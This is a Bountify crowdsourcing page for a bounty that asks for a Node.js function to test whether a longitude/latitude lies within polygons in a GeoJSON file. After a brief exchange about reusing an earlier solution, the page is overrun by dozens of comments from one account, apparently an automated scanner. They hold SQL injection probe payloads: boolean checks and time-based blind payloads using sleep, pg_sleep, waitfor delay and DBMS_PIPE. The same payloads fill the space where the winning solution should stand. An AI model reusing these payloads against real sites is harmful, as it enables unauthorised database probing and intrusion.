Nodejs function to query geojson polygons by long/lat (closed)
New here? Learn about Bountify and follow @bountify to get notified of new bounties! x

I need a nodejs function POC that we can query a long/lat to and it will return if it matches a polygon in a geojson file. The geojson today has about 570 polygons, scale wise this wont need to go over 600 or so in the near term. Meaning i dont expect this POC to support something like 5K

Here is a link to the raw file.

https://crts-assets.s3.us-east-1.amazonaws.com/WOTC%20Address%20Locator.geojson

The goal of the output would be to do the following. Does it match a polygon yes or no. And if yes. Try to output the property info about it like

https://gist.github.com/quotient/7b665ca4cec77dca244cefedf2dc43ab

it seems like some polygons have different properties so maybe for that we just output what it has vs trying to force it to a structure.

I see the response/outcome being something like

{
  long: ...,
  lat: ..
  query_time: time in ms
  result: [
    { 
      inZone: true | false,
      properties__ADDRESS1: ...
    }
  ]
}

We structure it like this in the event there are more than 1 match coming back.

Ideally the bounty can be developed in https://replit.com/ so we can have the geojson file local to the solution. My assumption is that when its run that nodejs would load the file to memory and create some sort of index and then the query would run against that. Subsequent queries would not need to load it to memory again. I might be thinking about this wrong so I am open to ideas. The ui for this would just be 2 html fields for long/lat input. The output can be a text area below the inputs where you dump out the outcome.

I will award 2 winners for this bounty.

first place at $100 to update previous solution code with updated requirements

hey guys one of the known devs from the previous gig is going to work on this.please dont spend time on it

I started looking for some help for geospatial queries in js/node and found these... maybe its helpful - dont feel like its required. I just dont want to go the mongodb route
https://turfjs.org/ - https://turfjs.org/docs/#pointsWithinPolygon
https://github.com/mourner/geokdbush
https://github.com/DenisCarriere/geojson-rbush
https://github.com/substack/point-in-polygon#readme
Qdev 12 months ago
Hello Qdev, I believe this is something I already did in the previous task (https://bountify.co/nodejs-lookup-long-lat-point-in-a-geojson-data-structure). Did this solution not work for you? I'll work on a solution with the UI.
radosinsky 12 months ago
Geez. so what if we do this. I will award you 100 winner here if you can just update your last solution for the updated requirements and data presented in this one? I also made sure to award that one... I think of my team posted so it... its a bit redundant but lets move forward assuming your code here.
Qdev 12 months ago
I updated the description above to reflect this approach...
Qdev 12 months ago
tmb1etqT
gbtagbbj 3 months ago
-1 OR 2+77-77-1=0+0+0+1
gbtagbbj 3 months ago
-1 OR 3+77-77-1=0+0+0+1
gbtagbbj 3 months ago
1 RLIKE (SELECT (CASE WHEN (824=824) THEN 1 ELSE 0x28 END)) --
gbtagbbj 3 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 3 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 3 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 3 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 3 months ago
-1 OR 2+258-258-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 3+258-258-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 2+157-157-1=0+0+0+1
gbtagbbj 3 months ago
-1 OR 3+157-157-1=0+0+0+1
gbtagbbj 3 months ago
-1' OR 2+789-789-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 3+789-789-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 2+950-950-1=0+0+0+1 or 'QN7UHhNZ'='
gbtagbbj 3 months ago
-1' OR 3+950-950-1=0+0+0+1 or 'QN7UHhNZ'='
gbtagbbj 3 months ago
-1" OR 2+36-36-1=0+0+0+1 --
gbtagbbj 3 months ago
-1" OR 3+36-36-1=0+0+0+1 --
gbtagbbj 3 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 3 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 3 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 3 months ago
mVZ1ZHEb'
gbtagbbj 3 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 3 months ago
-5 OR 83=(SELECT 83 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 3 months ago
-5) OR 578=(SELECT 578 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-1)) OR 583=(SELECT 583 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
4i7Qfmwi' OR 292=(SELECT 292 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 3 months ago
HTzy5mUf') OR 925=(SELECT 925 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
wRC2iGTT'
gbtagbbj 3 months ago
tBNAQgC6')) OR 34=(SELECT 34 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-5 OR 339=(SELECT 339 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 3 months ago
-5) OR 351=(SELECT 351 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-1 OR 2+592-592-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 3+592-592-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 2+796-796-1=0+0+0+1
gbtagbbj 3 months ago
-1 OR 3+796-796-1=0+0+0+1
gbtagbbj 3 months ago
-1' OR 2+73-73-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 3+73-73-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 2+530-530-1=0+0+0+1 or 'mjxBm5aw'='
gbtagbbj 3 months ago
-1' OR 3+530-530-1=0+0+0+1 or 'mjxBm5aw'='
gbtagbbj 3 months ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 3 months ago
-1" OR 2+178-178-1=0+0+0+1 --
gbtagbbj 3 months ago
-1" OR 3+178-178-1=0+0+0+1 --
gbtagbbj 3 months ago
-1)) OR 169=(SELECT 169 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 3 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 3 months ago
86XUa7GL' OR 105=(SELECT 105 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 3 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 3 months ago
xDBMU8XK') OR 953=(SELECT 953 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 3 months ago
6UQ6Tfdc')) OR 900=(SELECT 900 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 3 months ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 3 months ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 3 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 3 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 3 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 3 months ago
aHJfbnAK'
gbtagbbj 3 months ago
-5 OR 403=(SELECT 403 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-5) OR 648=(SELECT 648 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-1)) OR 345=(SELECT 345 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
T3lUFLnx' OR 734=(SELECT 734 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
l7cPVW4G') OR 955=(SELECT 955 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
jQ6LSXVP')) OR 321=(SELECT 321 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 3 months ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 3 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 3 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 3 months ago
SOiPDGe1
gbtagbbj 3 months ago
-1 OR 2+303-303-1=0+0+0+1
gbtagbbj 3 months ago
-1 OR 3+303-303-1=0+0+0+1
gbtagbbj 3 months ago
555 RLIKE (SELECT (CASE WHEN (95=95) THEN 1 ELSE 0x28 END)) --
gbtagbbj 3 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 3 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 3 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 3 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 3 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 3 months ago
WNwDv8Pk'
gbtagbbj 3 months ago
-5 OR 205=(SELECT 205 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-5) OR 440=(SELECT 440 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-1)) OR 677=(SELECT 677 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
oFfEl8M8' OR 180=(SELECT 180 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
Y5KuCYHN') OR 693=(SELECT 693 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
S2jeJXXG')) OR 757=(SELECT 757 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 3 months ago
555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 3 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 3 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 3 months ago
E99D7k8P
gbtagbbj 3 months ago
-1 OR 2+860-860-1=0+0+0+1
gbtagbbj 3 months ago
-1 OR 3+860-860-1=0+0+0+1
gbtagbbj 3 months ago
RLIKE (SELECT (CASE WHEN (930=930) THEN 1 ELSE 0x28 END)) --
gbtagbbj 3 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 3 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 3 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 3 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 3 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 3 months ago
0k1SsjUb'
gbtagbbj 3 months ago
-5 OR 524=(SELECT 524 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-5) OR 556=(SELECT 556 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-1)) OR 90=(SELECT 90 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
dUbSiHc6' OR 720=(SELECT 720 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
exJwyyzD') OR 240=(SELECT 240 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
KxDWECMv')) OR 783=(SELECT 783 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 3 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 3 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 3 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 3 months ago
awarded to radosinsky
Tags
nodejs

Crowdsource coding tasks.

1 Solution

Winning solution

I've finished the work we agreed on in the comments.

-1 OR 2+835-835-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 3+835-835-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 2+948-948-1=0+0+0+1
gbtagbbj 3 months ago
-1 OR 3+948-948-1=0+0+0+1
gbtagbbj 3 months ago
-1' OR 2+371-371-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 3+371-371-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 2+635-635-1=0+0+0+1 or '33cI5JvT'='
gbtagbbj 3 months ago
-1' OR 3+635-635-1=0+0+0+1 or '33cI5JvT'='
gbtagbbj 3 months ago
-1" OR 2+513-513-1=0+0+0+1 --
gbtagbbj 3 months ago
-1" OR 3+513-513-1=0+0+0+1 --
gbtagbbj 3 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 3 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 3 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 3 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 3 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 3 months ago
emIuj7qR'
gbtagbbj 3 months ago
h0wPG6Ma' OR 81=(SELECT 81 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
mjswqVVC') OR 240=(SELECT 240 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
QXVd7Ro8')) OR 513=(SELECT 513 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
e'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 3 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 3 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 3 months ago
tGc0lcn9
gbtagbbj 3 months ago
-1 OR 2+37-37-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 3+37-37-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 2+192-192-1=0+0+0+1
gbtagbbj 3 months ago
-1 OR 3+192-192-1=0+0+0+1
gbtagbbj 3 months ago
-1' OR 2+746-746-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 3+746-746-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 2+300-300-1=0+0+0+1 or 'V1aiJhWM'='
gbtagbbj 3 months ago
-1' OR 3+300-300-1=0+0+0+1 or 'V1aiJhWM'='
gbtagbbj 3 months ago
-1" OR 2+211-211-1=0+0+0+1 --
gbtagbbj 3 months ago
-1" OR 3+211-211-1=0+0+0+1 --
gbtagbbj 3 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 3 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 3 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 3 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 3 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 3 months ago
EjCzidGI'
gbtagbbj 3 months ago
-5 OR 433=(SELECT 433 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-5) OR 27=(SELECT 27 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-1)) OR 430=(SELECT 430 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
eYiGYCUe' OR 383=(SELECT 383 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
Cz85ps7u') OR 543=(SELECT 543 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
eJEW9dM4')) OR 523=(SELECT 523 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 3 months ago
555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 3 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 3 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 3 months ago
pp5O1pb8
gbtagbbj 3 months ago
-1 OR 2+413-413-1=0+0+0+1
gbtagbbj 3 months ago
-1 OR 3+413-413-1=0+0+0+1
gbtagbbj 3 months ago
RLIKE (SELECT (CASE WHEN (29=29) THEN 1 ELSE 0x28 END)) --
gbtagbbj 3 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 3 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 3 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 3 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 3 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 3 months ago
QA9FNtex'
gbtagbbj 3 months ago
-5 OR 746=(SELECT 746 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-5) OR 192=(SELECT 192 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-1)) OR 275=(SELECT 275 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
Pz4FI1vx' OR 710=(SELECT 710 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
fAkF24Ij') OR 290=(SELECT 290 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
m8gbjOCr')) OR 713=(SELECT 713 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 3 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 3 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 3 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 3 months ago